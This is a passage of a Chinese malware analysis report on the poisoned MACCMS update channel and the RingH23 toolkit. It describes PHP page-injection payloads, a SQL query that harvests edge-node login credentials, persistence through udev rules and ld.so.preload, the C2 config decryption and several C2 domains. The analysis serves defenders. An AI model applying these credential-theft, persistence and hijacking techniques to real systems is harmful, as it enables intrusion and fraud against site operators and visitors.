src="https://wechat2rss.xlab.app/img-proxy/?k=e547c200&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8zqiaFoBL5kHicct5dzNAts8MFuAgDbeyQVXZ6WRbscfJl7a277ImP60rUZLqel2c6AaeKFNQwRA4a5Fv4vMge5ibefjYjePQPEDE%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">一切看似正常，但是在实际中我们发现MACCMS完成安装后第一次登录管理后台时，远程服务器会发下发恶意JS代码，用于窃取敏感数据，下载PHP恶意载荷。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">post：向远程服务器上报Cookie，管理后台地址等敏感信息</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">iframe：通过的隐蔽iframe触发MACCMS的下载机制，拉取恶意载荷</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.6407407407407407" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000778" src="https://wechat2rss.xlab.app/img-proxy/?k=4bc38614&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xiaR8dwIG89QxejStrz5UuhWZAViauHnr2nC3jkPFVdZnEjich92BNWJibbmiamRu8DqnUdEJ6vSficHHyOln9sd9sgJYVwBvuQWMLQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当网页中的iframe加载其src属性指向的地址ADMIN_PATH/admin/update/step1.html?file=laupdc00ecc82ab4b6d060da64d886e97b2c4时，浏览器会向该URL发起请求。该请求经由后端路由解析，最终会调用位于application/admin/controller/Update.php中的step1()函数。该函数的核心功能是：接收file参数，为其追加.zip扩展名并结合时间戳生成一个完整的资源标识，随后程序会基于这个标识向指定的远程服务器发起请求，尝试获取对应的资源文件。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.40348837209302324" data-s="300,640" data-type="png" data-w="860" type="block" data-imgfileid="100000781" src="https://wechat2rss.xlab.app/img-proxy/?k=497908ef&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xUJ5kGZnqI3NJcTb1XEfXw0loxgCbEv8M515NUXVGKvtaQBAdbKicOF7DX641V5mpibssbOVqx8MZdS5HNdYcPvbNMWQwWFByxM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">从实际流量分析可见，laupdc00ecc82ab4b6d060da64d886e97b2c4.zip这一资源名可拆分为&#34;laupd&#34;前缀和一段32位MD5字符串，构成典型的伪装命名。服务器响应头中Date与Last-Modified时间戳完全一致，且设置了仅3分钟的有效期（max-age=180），表明该文件并非预先存储，而是针对请求即时动态生成的恶意payload。这种短时效设计使文件在下载窗口过后即无法访问（返回&#34;access denied&#34;），有效规避了事后取证。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4203601108033241" data-s="300,640" data-type="png" data-w="1444" type="block" data-imgfileid="100000785" src="https://wechat2rss.xlab.app/img-proxy/?k=e2cef8f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xvtRfMAobJvic4FibiaMB9dJaBPfyuiannRsLRnjGFHVichFzmEnGedDuEaYM8LIfSS4Q9kMTKLVV5P6z9flPCHOrLBsrLjU0PR32w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x2: PHP恶意载荷</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">laupdc00ecc82ab4b6d060da64d886e97b2c4.zip在解压后会释放 application/extra/active.php 文件。此外，我们在野还发现了另一个恶意 PHP 载荷 addons.php。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.22533632286995517" data-s="300,640" data-type="png" data-w="892" type="block" data-imgfileid="100000786" src="https://wechat2rss.xlab.app/img-proxy/?k=24328994&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wXicNnLCzaLVdJxBr7yUCnK0gKHYL5UZd0WlCqrAYZqprGaolBSZIlLlcYpBicIacN1gkqTbYRk3icAiaREdZCYic9CB6h3Reib3RFs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">这两个PHP恶意载荷都没有使用代码混淆技术，分析难度较低。它们的核心功能都是向网站植入恶意JavaScript代码，但采用了不同的攻击策略实现网页篡改，主要区别在于注入方式和目标对象：</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">addons.php采用动态注入方式，在页面渲染过程中将恶意JS代码插入到HTML文件的&lt;/html&gt;标签之前。</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">active.php 则采用动静结合的双重注入策略：一方面动态地将恶意代码插入到HTML文件的&lt;/head&gt;标签之前；另一方面还会静态地修改系统JS模板文件，直接向文件尾部写入恶意代码。</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">以active.php为例，该恶意载荷在ThinkPHP框架中注册了一个view_filter钩子，使得所有需要渲染的页面在加载时都会自动触发其感染流程，实现了对网站访问流量的全面监控和实时攻击。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4896551724137931" data-s="300,640" data-type="png" data-w="870" type="block" data-imgfileid="100000787" src="https://wechat2rss.xlab.app/img-proxy/?k=c112f3d8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8w16hCWNN1hPELESsZLz8N9l2XnKhOQMn29sCnLOrSWum5X3PJT5RQRxuhicJI3MX2TX1eMU96iavRrfJRwvicBgQ3UhL5YW4KyP0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">为了降低的暴露的风险，它还实现了一个精密的访问条件筛选机制：只有当用户使用手机设备、通过外部链接访问网站前台页面、且为非Ajax请求时才会触发恶意代码，同时通过会话控制确保每个用户最多每10小时只被攻击一次。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.34629629629629627" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000788" src="https://wechat2rss.xlab.app/img-proxy/?k=6c1e40fa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8xLYXMSETDpl1QwIB1Q8rPT1wmp0ib2bwe0VC8S8cXNgudFU65r0mUS0kmUGc3bZicHAMhcMDb4OYcOwibMia2KbelB3Hb3hePKcII%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当条件满足时，进行对HTML和JS篡改的流程。先看对HTML的修改，它的逻辑核心其实就是用str_replace函数将网页中的$template_marker替换为$template_token.$template_marker。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.21152030217186024" data-s="300,640" data-type="png" data-w="1059" type="block" data-imgfileid="100000790" src="https://wechat2rss.xlab.app/img-proxy/?k=6270636e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yIlvapBtppRZV67ic8vywJ92siaskp3UFyYD7Dj6n17owJfUgibAteAuicoia38Vj5DxE2O4OGdOicyLNic7TCh24uibiblbibanGogQuGg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">$template_token和$template_marker 它们使用8进制编码，gzip压缩，没有PHP环境的读者可以使用在线的PHP Sandbox查看它们的内容。template_token是恶意JS代码，相信读者一定会觉得眼熟，它正是前面章节已分析过的JS Loader代码，而template_marker正是&lt;/head&gt;标签。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5825190010857764" data-s="300,640" data-type="png" data-w="1842" type="block" data-imgfileid="100000792" src="https://wechat2rss.xlab.app/img-proxy/?k=66103fab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8we3GaGmUN3ywBG6zMK13WgRKXMM1uuF1h0enZ8oHOldiaicZt0hl7ym9gUiaia8JKXIl8KJuZT7Lta3wJe0TVqOPka8OVeB3XmeNs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">再来看对JS的修改，它的核心逻辑是使用file_put_contents函数对原始JS文件进行覆写，恶意JS代码以及/*system_optimization_signature*/格式的标签将被添加到JS文件尾部，system_optimization_signature是JS文件是否被感染的标识，它是恶意JS代码的MD5值的前12字节，即138ae887806f。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2564814814814815" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000793" src="https://wechat2rss.xlab.app/img-proxy/?k=218aa552&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8z5roibEeJC1NYWUH65icFK2PPt8vDukdROapPQ831YqTnrlYlywS9a15hecXatV79j9rzzMd8LU9IicMqcejiaRzCqoZdW8Bh2K4k%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">在Google搜索138ae887806f，可以看到不少用户讨论这一感染情况。用户的清理工作往往停留在清除已被感染的JavaScript文件这一表面症状。而更深层的PHP恶意载荷以及，作为持续攻击源的maccms.la官方投毒通道，并未被发现和根除，这导致了网站不断被重新植入恶意代码，陷入“清理-再感染”的循环。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000794" data-ratio="0.6058536585365853" data-s="300,640" type="block" data-type="png" data-w="1025" src="https://wechat2rss.xlab.app/img-proxy/?k=1bd86542&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xsGQYicDgzIPqdFf7AwCstk4g77WMEE4yqtAQol7UeJ4WyibUYnISaC190njbbUQqicYfFY1NT6hFMa2JJG9fcZNAlSNicmv2xzC4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">攻击套件RingH23投毒技术细节</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x1: infect_init</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">infection_init组件的基本信息如下所示，它是一个Golang语言实现的感染器，使用标准UPX加壳。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">infect_init必须在root权限下运行，至少需要提供session_token，service_url，group三个参数，其中service_url默认值为service.client.110[.]nz。</span></span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000796" data-ratio="0.27961321514907334" data-s="300,640" type="block" data-type="png" data-w="1241" src="https://wechat2rss.xlab.app/img-proxy/?k=1bae748c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8x9YtlDXNdgr2kCGdibcBrHJs0IGE6pUnHaME1Tt3Ybp7VfOZsYmmRmRkWZkwtcxhI3HBJCWwnDF4sOmEGj4Fdb5icyj2SHqezm8%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">首先，它会和server_url指定的服务器依次应验token，group是否有效。两者都使用GET方法，User-Agent为硬编码的Azure。</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">token校验请求，使用的uri为/api/session/verify，参数指定的token保存在&#34;X-Session&#34;字段中。</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1794871794871795" data-s="300,640" data-type="png" data-w="702" type="block" data-imgfileid="100000799" src="https://wechat2rss.xlab.app/img-proxy/?k=92d6a5f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8w6eWo7xia8MmMfcLjMUX8xUxS7Ns9GMds5LgLDo6XiahnQHib2Qn67rtKu4MDvLKia6KzSIO4mSXdVxa5Q3ibKr7fDW8uN3DMA6GgQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">group校验请求，使用的uri为/api/client_group/&#34;group&#34;，如下图流量中的group为 j6。</span></span></p></li></ul><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.1751336898395722" data-s="300,640" data-type="png" data-w="748" type="block" data-imgfileid="100000800" src="https://wechat2rss.xlab.app/img-proxy/?k=926dd9c4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ybCY8PmBEKKLicYeeNYLPibUqs939AIgl8gK2ibd3eogqgOPG7ZNJEcHsFIia0FmlQTDLOp0ltib8lhcOAKOXZfElppKwYUPR5WAgk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">token,group通过验证后，遍历/proc目录，查找edge-admin进程。再通过该进程配置文件api_db.yaml中获取数据库的账号和密码，并使用以下sql语句，查询数据库中边缘节点及其登录凭证。</span></span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="sql"><code><span leaf=""><span class="code-snippet__keyword">SELECT</span> n.id, n.name, n.clusterId, l.type, l.params</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">FROM</span> edgeNodes <span class="code-snippet__keyword">AS</span> n <span class="code-snippet__keyword">LEFT</span> <span class="code-snippet__keyword">JOIN</span> edgeNodeLogins <span class="code-snippet__keyword">AS</span> l</span></code><br/><code><span leaf=""><span class="code-snippet__keyword">ON</span> n.id<span class="code-snippet__operator">=</span>l.nodeId <span class="code-snippet__keyword">WHERE</span> n.state<span class="code-snippet__operator">=</span><span class="code-snippet__number">1</span></span></code><br/></pre></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当成功获得节点的登录凭后，执行Main_SSHExec函数，通过SSH协议登录到边缘节点，下载下一阶段Payload。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.46131805157593125" data-s="300,640" data-type="png" data-w="698" type="block" data-imgfileid="100000802" src="https://wechat2rss.xlab.app/img-proxy/?k=eb45c301&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8ypdqfG4uib0rQLwolK79jibdap2G2ibDMWzibKg0QDvs0Zc6XVnPhTvD4FdJK0TaZ8gPQ7lIw2GUYtNVUxv5YfNqVD7m5NXQH1Tdo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Main_SSHExec的核心逻辑就是执行以下脚本，在边缘节点上部署下一阶段 download_init组件，其中DOWNLOAD_URL为 download.zhw[.]sh/EMrsVQj9VQ/init。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.658321060382916" data-s="300,640" data-type="png" data-w="1358" type="block" data-imgfileid="100000809" src="https://wechat2rss.xlab.app/img-proxy/?k=6dfc60ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8z6U2EwmsVoibVxFvYjicQwHkczibyEMXKMBjcgHUWPr6g2bJUwgRK9h3PVRrXBWXiaL1bR6lbc7pJ3ibl17UZUxAJibiawMOHJAqZiczs%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x2: download_init</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">download_init组件的基本信息如下所示，它是一个Golang语言实现的下载器，使用标准UPX加壳。它主要目的是下载下一阶段的恶意载荷：后门木马，Rootkit，Udev持久化规则，以及Nginx模块等。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.17685185185185184" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000810" src="https://wechat2rss.xlab.app/img-proxy/?k=518fc1c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8yEKmZIX5mdwA7VjZibsG5uIdKAbNEqu25ZfcMDvBjSCzeWxuP9qHc0G8Gfap3YS4IdXrBlEBRuIBY8mkQbKAibITb5oAT8uG9icQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">和infect_init一样，download_init也必须在root权限下运行，除service_token, service_url, group3个参数之外，还必须指定 run mode，例如用 “install” 表示安装，uninstall表示卸载等。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4247881355932203" data-s="300,640" data-type="png" data-w="944" type="block" data-imgfileid="100000811" src="https://wechat2rss.xlab.app/img-proxy/?k=461ce01f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8wdDQlk3jpyxLCeKLnibrf49xqeAQtEbI3R980ia449sU0libQkYkPpsgj7XBSDUUKiaNTkzxMOqTuGNHKPTV6OHwFM1pBHnKKVT7w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">和infect_init不同的是，download_init在group参数通过验证后，会从C2返回的JSON数据中提取hash字段，供后续供register请求使用。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.12962962962962962" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000812" src="https://wechat2rss.xlab.app/img-proxy/?k=17468bb9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yG55kDsBFxy6L5vfdF1afwzPibXxSianm9uRcvGA1OSw40u2mqXkibZLMgMXqiaPuJsAsHk2iacEW2HALMibibiaAFPLAtH8TPS5l0q9w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">然后download_init尝试从被侵入设备中提醒Nginx服务器的相关信息，包括版本号，以及ngx_compat，ngx_dav，ngx_threads，ngx_real_ip等编译配置参数，并以此构造生成register请求，用于获得下一阶段载荷的下载地址。该请求使用的URI格式为/api/register/{hash}。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.645580589254766" data-s="300,640" data-type="png" data-w="1154" type="block" data-imgfileid="100000814" src="https://wechat2rss.xlab.app/img-proxy/?k=fb2c0900&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yJTibPZ5NFJIibamJ3nMuezVccbhD3Vm91vSNUhkHhTichk5HAQcEArhYGbUAaKM4kDQJYiaQyYftETZ0ClgFTt0IQl9tco9IUgQ0%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">可以看出C2返回的JSON数据包含各种载荷的下载地址，download_init 从中提取 hash 字段，并以此完成整个感染流程的闭环。具体步骤包括：首先，在 /var/adm 目录下创建以该 hash 命名的文件夹，用于存储下载的恶意载荷；接着，将 udev_rules 文件植入系统规则目录 /etc/udev/rules.d，命名为 99-{hash}.rules，以实现系统重启后的持久化自启动；随后，将kernel.so重命名为libutilkeybd.so，并将其路径写到 /etc/ld.so.preload，通过系统预加载机制来隐藏恶意进程的活动痕迹；最后，启动后门模块 office_bin，维持对受感染设备的持续控制，并重启 Nginx 进程以动态加载 module.so 模块，将特定条件的访问流量劫持至色情或博彩网站，完成所有的载荷部署。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5527831094049904" data-s="300,640" data-type="png" data-w="1042" type="block" data-imgfileid="100000816" src="https://wechat2rss.xlab.app/img-proxy/?k=4575e328&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xAd9OBrlZDQxD5oVicd9XBQe0ydI3sVk1zUeewhdgdPGYFp6Wk1K4nsPAIib35sicVDZa1tv7ulsGknlzEJJdJGIRicryxCNQZkB4%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 20px;font-weight: bold;">0x3: office_bin</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">office_bin是一个配置灵法，高度模块化/插件化，使用AES加密网络通信的后门木马。基于样本进行时会输出信息大量使用redis2s，我们将它命名为badredis2s，它由Dropper,Client,Plugin 3大部分组成，因为没有stripped的缘故，在逆向分析上并没有难度，功能一目了然。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2574074074074074" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000817" src="https://wechat2rss.xlab.app/img-proxy/?k=f798ba4e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xavzOdBrLAJ05PyWwhiaJzMUUc2IOpiaEmAkicODgFzKVCMFbtrWZoxjSZhfiba8VcPmpbfRdJJenTNcFFouof1JvN1NtfcHsssUk%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">先说Dropper，它的主要目的是加载内嵌的ELF，执行其导出函数kernel_module_entry，参数为config_base64，它指向的加密的配置信息。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.3685185185185185" data-s="300,640" data-type="png" data-w="1080" type="block" data-imgfileid="100000818" src="https://wechat2rss.xlab.app/img-proxy/?k=c5fcfb19&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8xZ3w2R73k8YviaytCniaoTzWupMSsMKia0urqZqeNKWgDba51YRialAUvgm479AD5H1OEcAKTvxXLJYzCGAlJQBsSufB1P3nkEEpM%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">再来看Client，它由上述Dropper释放，核心逻辑设计简洁而高效：首先对加密配置进行解密，从中提取C2服务器地址、任务执行时间策略及通信密钥等关键参数。当系统时间符合预设的执行策略时，客户端即尝试与C2服务器建立通信通道，等待接收并执行远程指令。值得注意的是，该恶意软件在C2获取，网络传输方面都采用了两层冗余机制以增强健壮性：</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">（1）C2 获取机制</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">优先从Microsoft Aure Blob存储服务动态获取最新的C2地址</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">若云端获取失败，则自动回退至内置的硬编码C2地址</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">（2）网络传输机制</span></span></p><ul style="list-style-type: circle;" class="list-paddingleft-1"><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">首选通过WebSocket over TLS（wss）加密通道进行通信</span></span></p></li><li><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">当wss连接因防火墙阻断或网络限制而失败时，切换至DNS隧道技术作为备选传输方案</span></span></p></li></ul><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">下文将从配置解密，C2获取，时间校验，网络通信等方面，剖析Client的技术实现。</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">① 解密配置</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">配置信息使用了简单的&#34;xor + base64&#34;的保护方式，base64使用原生的字母表，xor 密钥为0x23。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.19883720930232557" data-s="300,640" data-type="png" data-w="860" type="block" data-imgfileid="100000821" src="https://wechat2rss.xlab.app/img-proxy/?k=780abde1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8yktGdLr5fHAKJXNDd5Ft1nfXlEJu1icoPLZZ5ia2n85MMKcoO4As3FDFzp2F18qRKr0MIxBribzagVcluDbTdhic9z6WQmCECLrII%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">解密后的Config中涵盖C2，时间规则，AES密钥，初始向量等信息。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.1266866566716642" data-s="300,640" data-type="png" data-w="1334" type="block" data-imgfileid="100000826" src="https://wechat2rss.xlab.app/img-proxy/?k=df5981b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fa6IDQoib5s8wjvsQKJrO24ejU8EwVSElWf5nFWY0DMEMYntH5Fmm73CmqxaWJpZiciaD2gPUzhrXibpAs8NcC0u3ic4IiavA3f09VrxU97kqxCmxo%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">② C2获取</span></span></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">Config的前250字节为主C2的云端配置地址，接着的278字节为备用C2，主C2需要通过云端配置动态获得，而备用C2则是可以直接使用。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.486228813559322" data-s="300,640" data-type="png" data-w="944" type="block" data-imgfileid="100000830" src="https://wechat2rss.xlab.app/img-proxy/?k=d6961f97&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fa6IDQoib5s8y4V8hlI7cyZAyKwfaz0fqiaic6iaGDMdzL7WETib3Ta5dgbSRYkC3lxGt6jcO0DXSNDHjYHNMBYPRyfNKhF2Dx6zMktncibmPCWN8I%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p style="text-align: left;"><span leaf=""><span textstyle="" style="font-size: 18px;">访问主C2的云端配置地址，会看到一个IIS LOGO页面，看似一切正常，其实玄机隐藏在网页源码 RequestID:/#$*SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==*#$/部分，Client通过正则表达式\\s*/#\\$\\*.*?\\*#\\$/提取SRUNT0pNVltHSlBXUUwNTUZXGRcXEA==，它其实是一个加密的C2配置，通过base64解码， 单字节 xor 0x23即可得到C2 j6.linuxdistro.net:443，此处和备用C2是一致的。</span></span></p><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.5148247978436657" data-s="300,640" data-type="png" data-w="1113" type="block" data-imgfileid="100000835" 